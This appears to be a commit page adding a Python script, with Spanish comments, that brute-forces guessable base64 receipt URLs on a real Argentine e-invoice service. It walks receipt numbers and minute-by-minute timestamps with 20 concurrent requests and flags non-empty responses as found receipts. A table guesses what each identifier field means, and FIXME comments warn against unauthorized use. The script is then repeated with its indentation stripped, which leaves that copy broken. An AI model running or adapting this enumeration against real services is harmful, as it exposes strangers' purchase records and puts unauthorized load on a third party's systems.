mgaitan · August 12, 2026 01:51
diff --git a/README.md b/README.md
diff --git a/probe.py b/probe.py
 import asyncio
 import base64
 from datetime import datetime, timedelta

 import httpx

 BASE_URL = "https://mifactura.napse.global/mf/pq1rt7"
 FIXED_PREFIX = "cencosud_434_1_6_0434001"

 # FIXME[privacy]: este código construye identificadores de comprobantes. No
 # ejecutarlo contra un servicio real salvo con autorización explícita y URLs
 # propias; para investigación usar un transporte/mock local.

 START_HOUR = 8
 MAX_HOUR = 21
 WINDOW_HOURS = 4
 CONCURRENCY = 20
 EMPTY_RESPONSE = b"<html><body></body></html>"


 def make_payload(receipt_number: int, dt: datetime) -> str:
    """
    Ej:
    cencosud_434_1_6_0434001 + 0122 + 2405041552
    """
    # FIXME[structure]: los anchos y el significado de estos campos son una
    # hipótesis basada en ejemplos de Disco y Vea, no un formato documentado.
    receipt = f"{receipt_number:04d}"
    timestamp = dt.strftime("%y%m%d%H%M")

    return f"{FIXED_PREFIX}{receipt}{timestamp}"


 def make_url(receipt_number: int, dt: datetime) -> str:
    payload = make_payload(receipt_number, dt)
    encoded = base64.b64encode(payload.encode()).decode()

    return f"{BASE_URL}/{encoded}"


 def iter_minutes(start: datetime, end: datetime):
    current = start

    while current <= end:
        yield current
        current += timedelta(minutes=1)


 async def probe(client, url, semaphore):
    async with semaphore:
        try:
            # FIXME[validation]: status 200 + tamaño del body no distingue un
            # comprobante de una página de error, proxy o anti-bot. Validar
            # una estructura HTML conocida en respuestas guardadas/locales.
            async with client.stream("GET", url) as r:
                if r.status_code != 200:
                    return None

                body = bytearray()

                async for chunk in r.aiter_bytes():
                    body.extend(chunk)

                    if len(body) > len(EMPTY_RESPONSE):
                        return url

                if body and bytes(body).strip() != EMPTY_RESPONSE:
                    return url

        # FIXME[errors]: descartar timeout/5xx como "no encontrado" puede
        # cortar la búsqueda por una falla transitoria. Separar NOT_FOUND,
        # TRANSIENT_ERROR y MATCH antes de usar este flujo.
        except httpx.HTTPError:
            pass

    return None


 async def find_receipt(
    receipt_number: int,
    start: datetime,
    window_hours: int = WINDOW_HOURS,
 ):
    end = start + timedelta(hours=window_hours)

    # No buscar después de las 21:00.
    day_limit = start.replace(
        hour=MAX_HOUR,
        minute=0,
        second=0,
        microsecond=0,
    )

    # FIXME[timezone]: estos datetimes son ingenuos. La hora del payload debe
    # estar asociada explícitamente a America/Argentina/Cordoba.
    end = min(end, day_limit)

    print(f"Buscando {receipt_number:04d}: {start:%H:%M} -> {end:%H:%M}")
    candidates = [(dt, make_url(receipt_number, dt)) for dt in iter_minutes(start, end)]
    semaphore = asyncio.Semaphore(CONCURRENCY)

    async with httpx.AsyncClient(
        timeout=5,
        follow_redirects=True,
    ) as client:
        # FIXME[load]: 20 conexiones simultáneas y ventanas minuto a minuto
        # pueden generar una carga considerable sobre el servicio. Para tests
        # usar MockTransport; si hubiera autorización, aplicar rate limit y
        # backoff respetando las condiciones del proveedor.
        results = await asyncio.gather(
            *(probe(client, url, semaphore) for _, url in candidates)
        )

    for (dt, _), url in zip(candidates, results):
        if url is not None:
            print(
                f"Encontrado | Comprobante: {receipt_number:04d} "
                f"| Hora: {dt:%H:%M} | URL: {url}"
            )
            return dt, url

    return None


 async def main():
    date = datetime(2024, 5, 4)

    current_start = date.replace(
        hour=START_HOUR,
        minute=0,
        second=0,
        microsecond=0,
    )

    # FIXME[search]: empezar en 0001 y detenerse ante el primer faltante supone
    # que la numeración diaria es contigua y empieza en 1. Los ejemplos del
    # repo de Disco usan secuencias 0199 y 0255, por lo que esta suposición no
    # está respaldada por la evidencia disponible.
    receipt_number = 1

    while current_start.hour < MAX_HOUR:
        result = await find_receipt(
            receipt_number,
            current_start,
        )

        if result is None:
            # FIXME[search]: un resultado vacío no demuestra que no existan
            # comprobantes posteriores; puede ser un hueco o un error de red.
            print(
                f"No encontré {receipt_number:04d} "
                f"en las siguientes {WINDOW_HOURS} horas."
            )
            break

        found_dt, _ = result

        # El comprobante siguiente no puede ser anterior
        # al comprobante que acabamos de encontrar.
        # FIXME[boundary]: reutilizar found_dt permite volver a consultar el
        # mismo minuto para el siguiente comprobante. La regla correcta depende
        # de si la hora pertenece a la caja, a la transacción o al servidor.
        current_start = found_dt
        receipt_number += 1


 if __name__ == "__main__":
    asyncio.run(main())
Campo	Significado candidato	Confianza
`cencosud`	empresa o namespace del emisor	alta
`434`	código interno de sucursal	media-alta
`1`	terminal o caja	media
`6`	tipo de comprobante; compatible con Factura B `006`	alta
`0434`	código de sucursal u operativo repetido	media-alta
`001`	código de terminal o caja repetido	media-alta
`0122`	secuencia interna de la operación	media
`240504`	fecha `YYMMDD`, 04/05/2024	alta
`1552`	hora de la operación `HHMM`	media-alta
	import asyncio
	import base64
	from datetime import datetime, timedelta

	import httpx

	BASE_URL = "https://mifactura.napse.global/mf/pq1rt7"
	FIXED_PREFIX = "cencosud_434_1_6_0434001"

	# FIXME[privacy]: este código construye identificadores de comprobantes. No
	# ejecutarlo contra un servicio real salvo con autorización explícita y URLs
	# propias; para investigación usar un transporte/mock local.

	START_HOUR = 8
	MAX_HOUR = 21
	WINDOW_HOURS = 4
	CONCURRENCY = 20
	EMPTY_RESPONSE = b"<html><body></body></html>"


	def make_payload(receipt_number: int, dt: datetime) -> str:
	"""
	Ej:
	cencosud_434_1_6_0434001 + 0122 + 2405041552
	"""
	# FIXME[structure]: los anchos y el significado de estos campos son una
	# hipótesis basada en ejemplos de Disco y Vea, no un formato documentado.
	receipt = f"{receipt_number:04d}"
	timestamp = dt.strftime("%y%m%d%H%M")

	return f"{FIXED_PREFIX}{receipt}{timestamp}"


	def make_url(receipt_number: int, dt: datetime) -> str:
	payload = make_payload(receipt_number, dt)
	encoded = base64.b64encode(payload.encode()).decode()

	return f"{BASE_URL}/{encoded}"


	def iter_minutes(start: datetime, end: datetime):
	current = start

	while current <= end:
	yield current
	current += timedelta(minutes=1)


	async def probe(client, url, semaphore):
	async with semaphore:
	try:
	# FIXME[validation]: status 200 + tamaño del body no distingue un
	# comprobante de una página de error, proxy o anti-bot. Validar
	# una estructura HTML conocida en respuestas guardadas/locales.
	async with client.stream("GET", url) as r:
	if r.status_code != 200:
	return None

	body = bytearray()

	async for chunk in r.aiter_bytes():
	body.extend(chunk)

	if len(body) > len(EMPTY_RESPONSE):
	return url

	if body and bytes(body).strip() != EMPTY_RESPONSE:
	return url

	# FIXME[errors]: descartar timeout/5xx como "no encontrado" puede
	# cortar la búsqueda por una falla transitoria. Separar NOT_FOUND,
	# TRANSIENT_ERROR y MATCH antes de usar este flujo.
	except httpx.HTTPError:
	pass

	return None


	async def find_receipt(
	receipt_number: int,
	start: datetime,
	window_hours: int = WINDOW_HOURS,
	):
	end = start + timedelta(hours=window_hours)

	# No buscar después de las 21:00.
	day_limit = start.replace(
	hour=MAX_HOUR,
	minute=0,
	second=0,
	microsecond=0,
	)

	# FIXME[timezone]: estos datetimes son ingenuos. La hora del payload debe
	# estar asociada explícitamente a America/Argentina/Cordoba.
	end = min(end, day_limit)

	print(f"Buscando {receipt_number:04d}: {start:%H:%M} -> {end:%H:%M}")
	candidates = [(dt, make_url(receipt_number, dt)) for dt in iter_minutes(start, end)]
	semaphore = asyncio.Semaphore(CONCURRENCY)

	async with httpx.AsyncClient(
	timeout=5,
	follow_redirects=True,
	) as client:
	# FIXME[load]: 20 conexiones simultáneas y ventanas minuto a minuto
	# pueden generar una carga considerable sobre el servicio. Para tests
	# usar MockTransport; si hubiera autorización, aplicar rate limit y
	# backoff respetando las condiciones del proveedor.
	results = await asyncio.gather(
	*(probe(client, url, semaphore) for _, url in candidates)
	)

	for (dt, _), url in zip(candidates, results):
	if url is not None:
	print(
	f"Encontrado \| Comprobante: {receipt_number:04d} "
	f"\| Hora: {dt:%H:%M} \| URL: {url}"
	)
	return dt, url

	return None


	async def main():
	date = datetime(2024, 5, 4)

	current_start = date.replace(
	hour=START_HOUR,
	minute=0,
	second=0,
	microsecond=0,
	)

	# FIXME[search]: empezar en 0001 y detenerse ante el primer faltante supone
	# que la numeración diaria es contigua y empieza en 1. Los ejemplos del
	# repo de Disco usan secuencias 0199 y 0255, por lo que esta suposición no
	# está respaldada por la evidencia disponible.
	receipt_number = 1

	while current_start.hour < MAX_HOUR:
	result = await find_receipt(
	receipt_number,
	current_start,
	)

	if result is None:
	# FIXME[search]: un resultado vacío no demuestra que no existan
	# comprobantes posteriores; puede ser un hueco o un error de red.
	print(
	f"No encontré {receipt_number:04d} "
	f"en las siguientes {WINDOW_HOURS} horas."
	)
	break

	found_dt, _ = result

	# El comprobante siguiente no puede ser anterior
	# al comprobante que acabamos de encontrar.
	# FIXME[boundary]: reutilizar found_dt permite volver a consultar el
	# mismo minuto para el siguiente comprobante. La regla correcta depende
	# de si la hora pertenece a la caja, a la transacción o al servidor.
	current_start = found_dt
	receipt_number += 1


	if __name__ == "__main__":
	asyncio.run(main())